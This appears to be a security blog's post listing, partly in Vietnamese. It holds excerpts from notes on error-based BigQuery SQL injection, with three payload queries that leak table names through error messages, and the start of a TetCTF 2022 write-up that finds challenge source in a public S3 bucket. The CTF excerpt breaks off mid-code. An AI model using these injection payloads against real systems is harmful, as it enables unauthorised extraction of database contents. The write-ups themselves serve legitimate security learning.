Bài đăng

Exploiting Error Based BigQuery Injection

Hình ảnh
Here's my quick notes when e xploiting error-based BigQuery injection today. In short, BigQuery has a lot of functions can evaluate sub-query and return results to error message. SELECT ( date (( SELECT table_name FROM `bigquery-public-data.austin_bikeshare.INFORMATION_SCHEMA.TABLES` LIMIT 1 ))) SELECT ( cast (( SELECT table_name FROM `bigquery-public-data.austin_bikeshare.INFORMATION_SCHEMA.TABLES` LIMIT 1 ) as INT64 )) SELECT ( error (( SELECT string_agg ( table_name ) FROM `bigquery-public-data.austin_bikeshare.INFORMATION_SCHEMA.TABLES` ))) In practice

[CTF-Writeups] TetCTF-2022 Pickled Onions

Hình ảnh
Lâu quá không viết gì mới, lên bài đầu năm để phủi bụi cho Blog. TetCTF 2022 có một Challenge liên quan Cloud Security, mình có thử giải thành công. Challenge URL: http://139.162.21.219:1337/ Kiểm tra mã HTML Ta nhận thấy có một Bucket Public Access tại URI s3://secret-tetctf Sau khi kiểm tra thì tập tin s3://secret-tetctf/secret chính là mã nguồn của Challenge Plaintext #!/usr/bin/python3 import json import boto3 import base64 import pickle from flask import *   app = Flask(__name__)   @app.route( '/' ) def index():         return render_template( 'index.html' )   @app.route( '/login' ,methods=[ "GET" , "POST" ]) def login():         if request.method== "POST" :                 return render_template( 'login.html' ,msg= 'Invalid Credentials' )         else :                 return render_template( 'login.html' ,msg= '' )   @app.route( '/secret' ) def env():     return render_tem